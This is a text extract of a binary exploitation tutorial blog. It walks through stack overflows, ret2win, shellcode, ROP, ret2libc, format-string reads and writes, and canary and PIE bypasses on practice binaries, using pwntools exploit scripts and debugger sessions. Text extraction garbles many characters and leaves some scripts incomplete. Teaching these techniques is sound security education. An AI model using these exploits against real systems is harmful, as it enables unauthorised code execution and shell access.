Ir0nstone PWN
Ir0nstone PWN
Cybersecurity Notes
Cybersecurity Notes
Welcome to my blog! There's a lot here and it's a bit spread out, so here's a guide:
• If you're looking for the binary exploitation notes, you're in the right place!
Here I make notes on most of the things I learn, and also provide vulnerable
binaries to allow you to have a go yourself. Most "common" stack techniques
are mentioned along with some super introductory heap; more will come
soon™.
• If you're looking for my maths notes, they are split up (with some overlap):
◦ All my other maths notes can be found on Notion here. I realise having it
in multiple locations is annoying, but maths support in Notion is just
wayyy better. Like so much better. Sorry.
If you'd like to !nd me elsewhere, I'm usually down as ir0nstone. The accounts
you'd actually be interested in seeing are likely my HackTheBox account or my
Twitter (or X, if you really prefer).
~ Andrej Ljubic
Binary Exploitation
Stack
Introduction
An introduction to binary exploitation
When a new function is called, a memory address in the calling function is pushed
to the stack - this way, the program knows where to return to once the called
function !nishes execution. Let's look at a basic binary to show this.
introduction.zip
3KB archive
Introduction
Analysis
The binary has two !les - source.c and vuln ; the latter is an ELF !le, which is
the executable format for Linux (it is recommended to follow along with this with
a Virtual Machine of your own, preferably Linux).
We're gonna use a tool called radare2 to analyse the behaviour of the binary
when functions are called.
$ r2 -d -A vuln
The -d runs it while the -A performs analysis. We can disassemble main with
s main; pdf
s main seeks (moves) to main, while pdf stands for Print Disassembly Function
(literally just disassembles it).
db 0x080491bb
It should break before unsafe is called; let's analyse the top of the stack now:
pxw tells r2 to analyse the hex as words, that is, 32-bit values. I only show the
!rst value here, which is 0xf7efe000 . This value is stored at the top of the stack,
as ESP points to the top of the stack - in this case, that is 0xff984af0 .
Note that the value 0xf7efe000 is random - it's an artefact of previous processes
that have used that part of the stack. The stack is never wiped, it's just marked as
usable, so before data actually gets put there the value is completely dependent on
your system.
Let's move one more instruction with ds , debug step, and check the stack again.
This will execute the call sym.unsafe instruction.
Huh, something's been pushed onto the top of the stack - the value 0x080491c0 .
This looks like it's in the binary - but where? Let's look back at the disassembly
from before:
[...]
0x080491b6 054a2e0000 add eax, 0x2e4a
0x080491bb e8b2ffffff call sym.unsafe
0x080491c0 90 nop
[...]
We can see that 0x080491c0 is the memory address of the instruction after the
call to unsafe . Why? This is how the program knows where to return to after
unsafe() has !nished.
Weaknesses
But as we're interested in binary exploitation, let's see how we can possibly break
this. First, let's disassemble unsafe and break on the ret instruction; ret is
the equivalent of pop eip , which will get the saved return pointer we just
analysed on the stack into the eip register. Then let's continue and spam a
bunch of characters into the input and see how that could a"ect it.
[0x08049172]> db 0x080491aa
[0x08049172]> dc
Overflow me
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Now let's read the value at the location the return pointer was at previously,
Huh?
It's quite simple - we inputted more data than the program expected, which
resulted in us overwriting more of the stack than the developer expected. The
saved return pointer is also on the stack, meaning we managed to overwrite it. As
a result, on the ret , the value popped into eip won't be in the previous
function but rather 0x41414141 . Let's check with ds .
[0x080491aa]> ds
[0x41414141]>
And look at the new prompt - 0x41414141 . Let's run dr eip to make sure that's
the value in eip :
[0x41414141]> dr eip
0x41414141
Yup, it is! We've successfully hijacked the program execution! Let's see if it
crashes when we let it run with dc .
[0x41414141]> dc
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 ret=0
radare2 is very useful and prints out the address that causes it to crash. If you
cause the program to crash outside of a debugger, it will usually say
Segmentation Fault , which could mean a variety of things, but usually that you
have overwritten EIP.
Of course, you can prevent people from writing more characters than expected when
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 8 of 554
Cybersecurity Notes 5/3/25, 16:17
Of course, you can prevent people from writing more characters than expected when
making your program, usually using other C functions such as fgets() ; gets() is
intrinsically unsafe because it doesn't check the length of the input, meaning that
the presence of gets() is always something you should check out in a program. It is
also possible to give fgets() the wrong parameters, meaning it still takes in too
many characters.
Summary
When a function calls another function, it
• pushes a return pointer to the stack so the called function knows where to
return
• when the called function !nishes execution, it pops it o" the stack again
Because this value is saved on the stack, just like our local variables, if we write
more characters than the program expects, we can overwrite the value and
redirect code execution to wherever we wish. Functions such as fgets() can
prevent such easy over#ow, but you should check how much is actually being
read.
ret2win
The most basic binexp challenge
To carry this out, we have to leverage what we learnt in the introduction, but in a
predictable manner - we have to overwrite EIP, but to a speci!c value of our
choice.
When I say "overwrite EIP", I mean overwrite the saved return pointer that gets
popped into EIP. The EIP register is not located on the stack, so it is not overwritten
directly.
ret2win.zip
3KB archive
ret2win
This can be found using simple trial and error; if we send a variable numbers of
characters, we can use the Segmentation Fault message, in combination with
radare2, to tell when we overwrote EIP. There is a better way to do it than simple
brute force (we'll cover this in the next post), but it'll do for now.
You may get a segmentation fault for reasons other than overwriting EIP; use a
debugger to make sure the padding is correct.
Now we need to !nd the address of the flag() function in the binary. This is
simple.
$ r2 -d -A vuln
$ afl
[...]
0x080491c3 1 43 sym.flag
[...]
The !nal piece of the puzzle is to work out how we can send the address we want.
If you think back to the introduction, the A s that we sent became 0x41 - which
is the ASCII code of A . So the solution is simple - let's just !nd the characters
with ascii codes 0x08 , 0x04 , 0x91 and 0xc3 .
This is a lot simpler than you might think, because we can specify them in python
as hex:
address = '\x08\x04\x91\xc3'
Putting it Together
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 11 of 554
Cybersecurity Notes 5/3/25, 16:17
Now we know the padding and the value, let's exploit the binary! We can use
pwntools to interface with the binary (check out the pwntools posts for a more
in-depth look).
payload = 'A' * 52
payload += '\x08\x04\x91\xc3'
p.sendline(payload)
If you run this, there is one small problem: it won't work. Why? Let's check with a
debugger. We'll put in a pause() to give us time to attach radare2 onto the
process.
p = process('./vuln')
payload = b'A' * 52
payload += '\x08\x04\x91\xc3'
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
Now let's run the script with python3 exploit.py and then open up a new
terminal window.
r2 -d -A $(pidof vuln)
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 12 of 554
Cybersecurity Notes 5/3/25, 16:17
r2 -d -A $(pidof vuln)
By providing the PID of the process, radare2 hooks onto it. Let's break at the
return of unsafe() and read the value of the return pointer.
[0x08049172]> db 0x080491aa
[0x08049172]> dc
0xc3910408 - look familiar? It's the address we were trying to send over, except
the bytes have been reversed, and the reason for this reversal is endianness. Big-
endian systems store the most signi!cant byte (the byte with the largest value)
at the smallest memory address, and this is how we sent them. Little-endian does
the opposite (for a reason), and most binaries you will come across are little-
endian. As far as we're concerned, the byte are stored in reverse order in little-
endian executables.
radare2 comes with a nice tool called rabin2 for binary analysis:
$ rabin2 -I vuln
[...]
endian little
[...]
The !x is simple - reverse the address (you can also remove the pause() )
payload += '\x08\x04\x91\xc3'[::-1]
$ python3 tutorial.py
[+] Starting local process './vuln': pid 2290
[*] Overflow me
[*] Exploited!!!!!
Unsurprisingly, you're not the !rst person to have thought "could they possibly
make endianness simpler" - luckily, pwntools has a built-in p32() function ready
for use!
payload += '\x08\x04\x91\xc3'[::-1]
becomes
payload += p32(0x080491c3)
The only caveat is that it returns bytes rather than a string, so you have to make
the padding a byte string:
Final Exploit
payload = b'A' * 52
payload += p32(0x080491c3) # Use pwntools to pack it
De Bruijn Sequences
The better way to calculate o"sets
Again, radare2 comes with a nice command-line tool (called ragg2 ) that can
generate it for us. Let's create a sequence of length 100 .
$ ragg2 -P 100 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAA
The -P speci!es the length while -r tells it to show ascii bytes rather than hex
pairs.
Now we have the pattern, let's just input it in radare2 when prompted for input,
make it crash and then calculate how far along the sequence the EIP is. Simples.
$ r2 -d -A vuln
[0xf7ede0b0]> dc
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAA
child stopped with signal 11
[+] SIGNAL 11 errno=0 addr=0x41534141 code=1 ret=0
The address it crashes on is 0x41534141 ; we can use radare2 's in-built wopO
command to work out the o"set.
The backticks means the dr eip is calculated !rst, before the wopO is run on
the result of it.
Shellcode
Running your own code
In real exploits, it's not particularly likely that you will have a win() function
lying around - shellcode is a way to run your own instructions, giving you the
ability to run arbitrary commands on the system.
I promise you can trust me but you should never ever run shellcode without knowing
what it does. Pwntools is safe and has almost all the shellcode you will ever need.
shellcode.zip
3KB archive
Shellcode
Disabling ASLR
Again, you should never run commands if you don't know what they do
Let's debug vuln() using radare2 and work out where in memory the bu"er
starts; this is where we want to point the return pointer to.
$ r2 -d -A vuln
This value that gets printed out is a local variable - due to its size, it's fairly likely
to be the bu"er. Let's set a breakpoint just after gets() and !nd the exact
address.
[0x08049172]> dc
Overflow me
<<Found me>> <== This was my input
hit breakpoint at: 80491a8
[0x080491a8]> px @ ebp - 0x134
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0xffffcfb4 3c3c 466f 756e 6420 6d65 3e3e 00d1 fcf7 <<Found me>>....
[...]
Now we need to calculate the padding until the return pointer. We'll use the De
Bruijn sequence as explained in the previous blog post.
$ ragg2 -P 400 -r
<copy this>
$ r2 -d -A vuln
[0xf7fd40b0]> dc
Overflow me
<<paste here>>
[0x73424172]> wopO `dr eip`
312
context.binary = ELF('./vuln')
p = process()
Yup, that's it. Now let's send it o" and use p.interactive() , which enables us
to communicate to the shell.
log.info(p.clean())
p.sendline(payload)
p.interactive()
If you're getting an EOFError , print out the shellcode and try to !nd it in memory -
the stack address may be wrong
$ python3 exploit.py
[*] 'vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process 'vuln': pid 3606
[*] Overflow me
[*] Switching to interactive mode
$ whoami
ironstone
$ ls
exploit.py source.c vuln
Final Exploit
context.binary = ELF('./vuln')
p = process()
p = process()
log.info(p.clean())
p.sendline(payload)
p.interactive()
Summary
• Once the return pointer got popped into EIP, it pointed at our shellcode
• This caused the program to execute our instructions, giving us (in this case) a
shell for arbitrary command execution
NOPs
More reliable shellcode exploits
NOP (no operation) instructions do exactly what they sound like: nothing. Which
makes then very useful for shellcode exploits, because all they will do is run the
next instruction. If we pad our exploits on the left with NOPs and point EIP at the
middle of them, it'll simply keep doing no instructions until it reaches our actual
shellcode. This allows us a greater margin of error as a shift of a few bytes
forward or backwards won't really a"ect it, it'll just run a di"erent number of
NOP instructions - which have the same end result of running the shellcode. This
padding with NOPs is often called a NOP slide or NOP sled, since the EIP is
essentially sliding down them.
The NOP instruction actually used to stand for XCHG EAX, EAX , which does
e"ectively nothing. You can read a bit more about it on this StackOver#ow question.
• Adjust our return pointer to point at the middle of the NOPs rather than the
bu"er start
Make sure ASLR is still disabled. If you have to disable it again, you may have to
readjust your previous exploit as the bu"er location my be di"erent.
context.binary = ELF('./vuln')
p = process()
log.info(p.clean())
p.sendline(payload)
p.interactive()
It's probably worth mentioning that shellcode with NOPs is not failsafe; if you receive
unexpected errors padding with NOPs but the shellcode worked before, try reducing
the length of the nopsled as it may be tampering with other things on the stack
Note that NOPs are only \x90 in certain architectures, and if you need others
you can use pwntools:
nop = asm(shellcraft.nop())
32- vs 64-bit
The di"erences between the sizes
Everything we have done so far is applicable to 64-bit as well as 32-bit; the only
thing you would need to change is switch out the p32() for p64() as the
memory addresses are longer.
The real di"erence between the two, however, is the way you pass parameters to
functions (which we'll be looking at much closer soon); in 32-bit, all parameters
are pushed to the stack before the function is called. In 64-bit, however, the !rst 6
are stored in the registers RDI, RSI, RDX, RCX, R8 and R9 respectively as per the
calling convention. Note that di"erent Operating Systems also have di"erent
calling conventions.
No eXecute
The defence against shellcode
As you can expect, programmers were hardly pleased that people could inject
their own instructions into the program. The NX bit, which stands for No eXecute,
de!nes areas of memory as either instructions or data. This means that your
input will be stored as data, and any attempt to run it as instructions will crash
the program, e"ectively neutralising shellcode.
To get around NX, exploit developers have to leverage a technique called ROP,
Return-Oriented Programming.
The Windows version of NX is DEP, which stands for Data Execution Prevention
Checking for NX
$ checksec vuln
[*] 'vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ rabin2 -I vuln
[...]
nx false
[...]
Return-Oriented Programming
Bypassing NX
The basis of ROP is chaining together small chunks of code already present within
the binary itself in such a way to do what you wish. This often involves passing
parameters to functions already present within libc , such as system - if you
can !nd the location of a command, such as cat flag.txt , and then pass it as a
parameter to system , it will execute that command and return the output. A
more dangerous command is /bin/sh , which when run by system gives the
attacker a shell much like the shellcode we used did.
Doing this, however, is not as simple as it may seem at !rst. To be able to properly
call functions, we !rst have to understand how to pass parameters to them.
Calling Conventions
A more in-depth look into parameters for 32-bit and 64-bit programs
One Parameter
calling-conventions-one-param.zip
5KB archive
Source
Let's have a quick look at the source:
#include <stdio.h>
int main() {
vuln(0xdeadbeef);
vuln(0xdeadc0de);
}
Pretty simple.
If we run the 32-bit and 64-bit versions, we get the same output:
Nice!
Not nice!
Analysing 32-bit
$ r2 -d -A vuln-32
$ s main; pdf
push 0xdeadbeef
call sym.vuln
[...]
push 0xdeadc0de
call sym.vuln
We literally push the parameter to the stack before calling the function. Let's
break on sym.vuln .
[0x080491ac]> db sym.vuln
[0x080491ac]> dc
hit breakpoint at: 8049162
[0x08049162]> pxw @ esp
0xffdeb54c 0x080491d4 0xdeadbeef 0xffdeb624 0xffdeb62c
The !rst value there is the return pointer that we talked about before - the
second, however, is the parameter. This makes sense because the return pointer
gets pushed during the call , so it should be at the top of the stack. Now let's
disassemble sym.vuln .
Here I'm showing the full output of the command because a lot of it is relevant.
radare2 does a great job of detecting local variables - as you can see at the top,
there is one called arg_8h . Later this same one is compared to 0xdeadbeef :
So now we know, when there's one parameter, it gets pushed to the stack so that
the stack looks like:
Analysing 64-bit
dr rdi
[0x00401153]> db sym.vuln
[0x00401153]> dc
hit breakpoint at: 401122
[0x00401122]> dr rdi
0xdeadbeef
Awesome.
Registers are used for parameters, but the return address is still pushed onto the
stack and in ROP is placed right after the function address
Multiple Parameters
calling-convention-multi-param.zip
5KB archive
Source
#include <stdio.h>
int main() {
vuln(0xdeadbeef, 0xdeadc0de, 0xc0ded00d);
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 32 of 554
Cybersecurity Notes 5/3/25, 16:17
32-bit
We've seen the full disassembly of an almost identical binary, so I'll only isolate
the important parts.
It's just as simple - push them in reverse order of how they're passed in. The
reverse order becomes helpful when you db sym.vuln and print out the stack.
[0x080491bf]> db sym.vuln
[0x080491bf]> dc
hit breakpoint at: 8049162
[0x08049162]> pxw @ esp
0xffb45efc 0x080491f1 0xdeadbeef 0xdeadc0de 0xc0ded00d
So it becomes quite clear how more parameters are placed on the stack:
64-bit
So as well as rdi , we also push to rdx and rsi (or, in this case, their lower 32
bits).
#include <stdio.h>
int main() {
vuln(0xdeadbeefc0dedd00d);
}
movabs can be used to encode the mov instruction for 64-bit instructions - treat it
as if it's a mov .
Gadgets
Controlling execution with snippets of code
Gadgets are small snippets of code followed by a ret instruction, e.g. pop rdi;
ret . We can manipulate the ret of these gadgets in such a way as to string
together a large chain of them to do what we want.
Example
Let's for a minute pretend the stack looks like this during the execution of a pop
rdi; ret gadget.
What happens is fairly obvious - 0x10 gets popped into rdi as it is at the top of
the stack during the pop rdi . Once the pop occurs, rsp moves:
And since ret is equivalent to pop rip , 0x5655576724 gets moved into rip .
Note how the stack is laid out for this.
Utilising Gadgets
Let's say that we want to exploit a binary to jump to a pop rdi; ret gadget,
pop 0x100 into rdi then jump to flag() . Let's step-by-step the execution.
On the original ret , which we overwrite the return pointer for, we pop the
gadget address in. Now rip moves to point to the gadget, and rsp moves to
the next memory address.
rsp moves to the 0x100 ; rip to the pop rdi . Now when we pop, 0x100
gets moved into rdi .
RSP moves onto the next items on the stack, the address of flag() . The ret is
executed and flag() is called.
Summary
Essentially, if the gadget pops values from the stack, simply place those values
afterwards (including the pop rip in ret ). If we want to pop 0x10 into rdi
and then jump to 0x16 , our payload would look like this:
Note if you have multiple pop instructions, you can just add more values.
We use rdi as an example because, if you remember, that's the register for the !rst
parameter in 64-bit. This means control of this register using this gadget is
important.
Finding Gadgets
Gadgets information
============================================================
0x0000000000401069 : add ah, dh ; nop dword ptr [rax + rax] ; ret
0x000000000040109b : add bh, bh ; loopne 0x40110a ; nop ; ret
0x0000000000401037 : add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4
[...]
exploiting_with_params.zip
5KB archive
32-bit
The program expects the stack to be laid out like this before executing the
function:
So why don't we provide it like that? As well as the function, we also pass the
return address and the parameters.
Everything after the address of flag() will be part of the stack frame for the
next function as it is expected to be there - just instead of using push
instructions we just overwrote them manually.
p = process('./vuln-32')
log.info(p.clean())
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 39 of 554
Cybersecurity Notes 5/3/25, 16:17
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
64-bit
Same logic, except we have to utilise the gadgets we talked about previously to
!ll the required registers (in this case rdi and rsi as we have two parameters).
p = process('./vuln-64')
log.info(p.clean())
p.sendline(payload)
log.info(p.clean())
ret2libc
The standard ROP exploit
A ret2libc is based o" the system function found within the C library. This
function executes anything passed to it making it the best target. Another thing
found within libc is the string /bin/sh ; if you pass this string to system , it will
pop a shell.
ret2libc.zip
5KB archive
ret2libc
Disabling ASLR
To start with, we are going to disable ASLR. ASLR randomises the location of libc
in memory, meaning we cannot (without other steps) work out the location of
system and /bin/sh . To understand the general theory, we will start with it
disabled.
Manual Exploitation
Fortunately Linux has a command called ldd for dynamic linking. If we run it on
our compiled ELF !le, it'll tell us the libraries it uses and their base addresses.
$ ldd vuln-32
linux-gate.so.1 (0xf7fd2000)
libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
/lib/ld-linux.so.2 (0xf7fd3000)
Libc base and the system and /bin/sh o"sets may be di"erent for you. This isn't a
problem - it just means you have a di"erent libc version. Make sure you use your
values.
To call system, we obviously need its location in memory. We can use the
readelf command for this.
The -s #ag tells readelf to search for symbols, for example functions. Here
we can !nd the o"set of system from libc base is 0x44f00 .
Since /bin/sh is just a string, we can use strings on the dynamic library we
just found with ldd . Note that when passing strings as parameters you need to
pass a pointer to the string, not the hex representation of the string, because
that's how C expects it.
-a tells it to scan the entire !le; -t x tells it to output the o"set in hex.
32-bit Exploit
p = process('./vuln-32')
libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b
p.clean()
p.sendline(payload)
p.interactive()
64-bit Exploit
Repeat the process with the libc linked to the 64-bit exploit (should be called
something like /lib/x86_64-linux-gnu/libc.so.6 ).
Note that instead of passing the parameter in after the return pointer, you will
have to use a pop rdi; ret gadget to put it into the RDI register.
[...]
0x00000000004011cb : pop rdi ; ret
p = process('./vuln-64')
libc_base = 0x7ffff7de5000
system = libc_base + 0x48e20
binsh = libc_base + 0x18a143
POP_RDI = 0x4011cb
p.clean()
p.sendline(payload)
p.interactive()
# 32-bit
from pwn import *
p.clean()
p.sendline(payload)
p.interactive()
Pwntools can simplify it even more with its ROP capabilities, but I won't showcase
them here.
Stack Alignment
A minor issue
A small issue you may get when pwning on 64-bit systems is that your exploit
works perfectly locally but fails remotely - or even fails when you try to use the
provided LIBC version rather than your local one. This arises due to something
called stack alignment.
That means that if the stack is not 16-byte aligned - that is, RSP is not a multiple
of 16 - the ROP chain will fail on system .
The !x is simple - in your ROP chain, before the call to system , place a singular
ret gadget:
[...]
rop.raw(POP_RDI)
rop.raw(0x4) # first parameter
rop.raw(ret) # align the stack
rop.raw(system)
This works because it will cause RSP to be popped an additional time, pushing it
forward by 8 bytes and aligning it.
Why it exists
In C, certain functions can take "format speci!er" within strings. Let's look at an
example:
Decimal: 1205
Float: 1205.000000
Hex: 0x4b5
So, it replaced %d with the value, %f with the #oat value and %x with the hex
representation.
As expected, we get
What happens, however, if we don't have enough arguments for all the format
speci!ers?
The key here is that printf expects as many parameters as format string
speci!ers, and in 32-bit it grabs these parameters from the stack. If there aren't
enough parameters on the stack, it'll just grab the next values - essentially leaking
values o" the stack. And that's what makes it so dangerous.
Surely if it's a bug in the code, the attacker can't do much, right? Well the real
issue is when C code takes user-provided input and prints it out using printf .
fmtstr_arb_read.zip
3KB archive
Format String
#include <stdio.h>
int main(void) {
char buffer[30];
gets(buffer);
printf(buffer);
return 0;
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 48 of 554
Cybersecurity Notes 5/3/25, 16:17
return 0;
}
$ ./test
yes
yes
$ ./test
%x %x %x %x %x
f7f74080 0 5657b1c0 782573fc 20782520
It reads values o" the stack and returns them as the developer wasn't expecting
so many format string speci!ers.
Choosing Offsets
The 1$ between tells printf to use the !rst parameter. However, this also
means that attackers can read values an arbitrary o"set from the top of the stack
- say we know there is a canary at the 6th %p - instead of sending %p %p %p %p
%p %p we can just do %6$p . This allows us to be much more e$cient.
Arbitrary Reads
In C, when you want to use a string you use a pointer to the start of the string -
this is essentially a value that represents a memory address. So when you use the
%s format speci!er, it's the pointer that gets passed to it. That means instead of
reading a value of the stack, you read the value in the memory address it points
at.
Now this is all very interesting - if you can !nd a value on the stack that happens
to correspond to where you want to read, that is. But what if we could specify
where we want to read? Well... we can.
$ ./test
%x %x %x %x %x %x
f7f74080 0 5657b1c0 782573fc 20782520 25207825
You may notice that the last two values contain the hex values of %x . That's
because we're reading the bu"er. Here it's at the 4th o"set - if we can write an
address then point %s at it, we can get an arbitrary write!
$ ./vuln
ABCD|%6$p
ABCD|0x44434241
As we can see, we're reading the value we inputted. Let's write a quick pwntools
script that write the location of the ELF !le and reads it with %s - if all goes well,
it should read the !rst bytes of the !le, which is always \x7fELF . Start with the
basics:
p = process('./vuln')
payload = p32(0x41424344)
payload += b'|%6$p'
p.sendline(payload)
log.info(p.clean())
$ python3 exploit.py
Nice it works. The base address of the binary is 0x8048000 , so let's replace the
0x41424344 with that and read it with %s :
p = process('./vuln')
payload = p32(0x8048000)
payload += b'|%6$s'
p.sendline(payload)
log.info(p.clean())
It doesn't work.
The reason it doesn't work is that printf stops at null bytes, and the very !rst
character is a null byte. We have to put the format speci!er !rst.
p = process('./vuln')
payload = b'%8$p||||'
payload += p32(0x8048000)
p.sendline(payload)
log.info(p.clean())
• The o"set is %8$p because the start of the bu"er is generally at %6$p .
However, memory addresses are 4 bytes long each and we already have 8
bytes, so it's two memory addresses further along at %8$p .
$ python3 exploit.py
It still stops at the null byte, but that's not important because we get the
output; the address is still written to memory, just not printed back.
$ python3 exploit.py
Of course, %s will also stop at a null byte as strings in C are terminated with
them. We have worked out, however, that the !rst bytes of an ELF !le up to a null
byte are \x7fELF\x01\x01\x01 .
Arbitrary Writes
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 52 of 554
Cybersecurity Notes 5/3/25, 16:17
fmtstr_arb_write.zip
3KB archive
#include <stdio.h>
int auth = 0;
int main() {
char password[100];
puts("Password: ");
fgets(password, sizeof password, stdin);
printf(password);
printf("Auth is %i\n", auth);
if(auth == 10) {
puts("Authenticated!");
}
}
Simple - we need to overwrite the variable auth with the value 10. Format string
vulnerability is obvious, but there's also no bu"er over#ow due to a secure
fgets .
As it's a global variable, it's within the binary itself. We can check the location
using readelf to check for symbols.
We're lucky there's no null bytes, so there's no need to change the order.
$ ./auth
Password:
%p %p %p %p %p %p %p %p %p
0x64 0xf7f9f580 0x8049199 (nil) 0x1 0xf7ff5980 0x25207025 0x70252070 0x2070252
AUTH = 0x804c028
p = process('./auth')
payload = p32(AUTH)
payload += b'|' * 6 # We need to write the value 10, AUTH is 4 bytes,
payload += b'%7$n'
print(p.clean().decode('latin-1'))
p.sendline(payload)
print(p.clean().decode('latin-1'))
Pwntools
As you can expect, pwntools has a handy feature for automating %n format
string exploits:
The offset in this case is 7 because the 7th %p read the bu"er; the location is
where you want to write it and the value is what. Note that you can add as many
location-value pairs into the dictionary as you want.
You can also grab the location of the auth symbol with pwntools:
elf = ELF('./auth')
AUTH = elf.sym['auth']
Stack Canaries
The Bu"er Over#ow defence
Stack Canaries are very simple - at the beginning of the function, a random value
is placed on the stack. Before the program executes ret , the current value of
that variable is compared to the initial: if they are the same, no bu"er over#ow
has occurred.
If they are not, the attacker attempted to over#ow to control the return pointer
and the program crashes, often with a ***stack smashing detected*** error
message.
On Linux, stack canaries end in 00 . This is so that they null-terminate any strings in
case you make a mistake when using print functions, but it also makes them much
easier to spot.
Bypassing Canaries
There are two ways to bypass a canary.
Leaking it
This is quite broad and will di"er from binary to binary, but the main aim is to
read the value. The simplest option is using format string if it is present - the
canary, like other local variables, is on the stack, so if we can leak values o" the
stack it's easy.
Source
#include <stdio.h>
void vuln() {
https://ir0nstone.gitbook.io/notes/~gitbook/pdf?limit=200 Page 56 of 554
Cybersecurity Notes 5/3/25, 16:17
void vuln() {
char buffer[64];
puts("Leak me");
gets(buffer);
printf(buffer);
puts("");
puts("Overflow me");
gets(buffer);
}
int main() {
vuln();
}
void win() {
puts("You won!");
}
The source is very simple - it gives you a format string vulnerability, then a bu"er
over#ow vulnerability. The format string we can use to leak the canary value, then
we can use that value to overwrite the canary with itself. This way, we can
over#ow past the canary but not trigger the check as its value remains constant.
And of course, we just have to run win() .
32-bit
canary-32.zip
3KB archive
Canary - 32-bit
NX: NX enabled
PIE: No PIE (0x8048000)
Yup, there is. Now we need to calculate at what o"set the canary is at, and to do
this we'll use radare2.
$ r2 -d -A vuln-32
[0xf7f2e0b0]> db 0x080491d7
[0xf7f2e0b0]> dc
Leak me
%p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
0xffd7cd60 0xffd7cd7c 0xffd7cdec 0x00000002 0x0804919e |...............
0xffd7cd70 0x08048034 0x00000000 0xf7f57000 0x00007025 4........p..%p..
0xffd7cd80 0x00000000 0x00000000 0x08048034 0xf7f02a28 ........4...(*..
0xffd7cd90 0xf7f01000 0xf7f3e080 0x00000000 0xf7d53ade .............:..
0xffd7cda0 0xf7f013fc 0xffffffff 0x00000000 0x080492cb ................
0xffd7cdb0 0x00000001 0xffd7ce84 0xffd7ce8c 0xadc70e00 ................
The last value there is the canary. We can tell because it's roughly 64 bytes after
the "bu"er start", which should be close to the end of the bu"er. Additionally, it
ends in 00 and looks very random, unlike the libc and stack addresses that start
with f7 and ff . If we count the number of address it's around 24 until that
value, so we go one before and one after as well to make sure.
$./vuln-32
Leak me
%23$p %24$p %25$p
0xa4a50300 0xf7fae080 (nil)
p = process('./vuln-32')
log.info(p.clean())
p.sendline('%23$p')
$ python3 exploit.py
[+] Starting local process './vuln-32': pid 14019
[*] b'Leak me\n'
[+] Canary: 0xcc987300
Now all that's left is work out what the o"set is until the canary, and then the
o"set from after the canary to the return pointer.
$ r2 -d -A vuln-32
[0xf7fbb0b0]> db 0x080491d7
[0xf7fbb0b0]> dc
Leak me
%23$p
hit breakpoint at: 80491d7
[0x080491d7]> pxw @ esp
[...]
0xffea8af0 0x00000001 0xffea8bc4 0xffea8bcc 0xe1f91c00
We see the canary is at 0xffea8afc . A little later on the return pointer (we
assume) is at 0xffea8b0c . Let's break just after the next gets() and check
what value we overwrite it with (we'll use a De Bruijn pattern).
[0x080491d7]> db 0x0804920f
[0x080491d7]> dc
0xe1f91c00
Overflow me
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAA
hit breakpoint at: 804920f
[0x0804920f]> pxw @ 0xffea8afc
0xffea8afc 0x41574141 0x41415841 0x5a414159 0x41614141 AAWAAXAAYAAZAAaA
0xffea8b0c 0x41416241 0x64414163 0x41654141 0x41416641 AbAAcAAdAAeAAfAA
Return pointer is 16 bytes after the canary start, so 12 bytes after the canary.
p = process('./vuln-32')
log.info(p.clean())
p.sendline('%23$p')
payload = b'A' * 64
payload += p32(canary) # overwrite canary with original value to not trigger
payload += b'A' * 12 # pad to return pointer
payload += p32(0x08049245)
p.clean()
p.sendline(payload)
print(p.clean().decode('latin-1'))
64-bit
Same source, same approach, just 64-bit. Try it yourself before checking the
solution.
Remember, in 64-bit format string goes to the relevant registers !rst and the
addresses can !t 8 bytes each so the o"set may be di"erent.
canary-64.zip
3KB archive
Canary - 64-bit
This is possible on 32-bit, and sometimes unavoidable. It's not, however, feasible
on 64-bit.
As you can expect, the general idea is to run the process loads and load of times
with random canary values until you get a hit, which you can di"erentiate by the
presence of a known plaintext, e.g. flag{ and this can take ages to run and is
frankly not a particularly interesting challenge.
PIE
Position Independent Code
Overview
PIE stands for Position Independent Executable, which means that every time
you run the !le it gets loaded into a di"erent memory address. This means you
cannot hardcode values such as function addresses and gadget locations without
!nding out where they are.
Analysis
Luckily, this does not mean it's impossible to exploit. PIE executables are based
around relative rather than absolute addresses, meaning that while the locations
in memory are fairly random the o"sets between di"erent parts of the binary
remain constant. For example, if you know that the function main is located
0x128 bytes in memory after the base address of the binary, and you somehow
!nd the location of main , you can simply subtract 0x128 from this to get the
base address and from the addresses of everything else.
Exploitation
So, all we need to do is !nd a single address and PIE is bypassed. Where could we
leak this address from?
We know that the return pointer is located on the stack - and much like a canary,
we can use format string (or other ways) to read the value o" the stack. The value
will always be a static o"set away from the binary base, enabling us to completely
bypass PIE!
Double-Checking
Due to the way PIE randomisation works, the base address of a PIE executable will
always end in the hexadecimal characters 000 . This is because pages are the
things being randomised in memory, which have a standard size of 0x1000 .
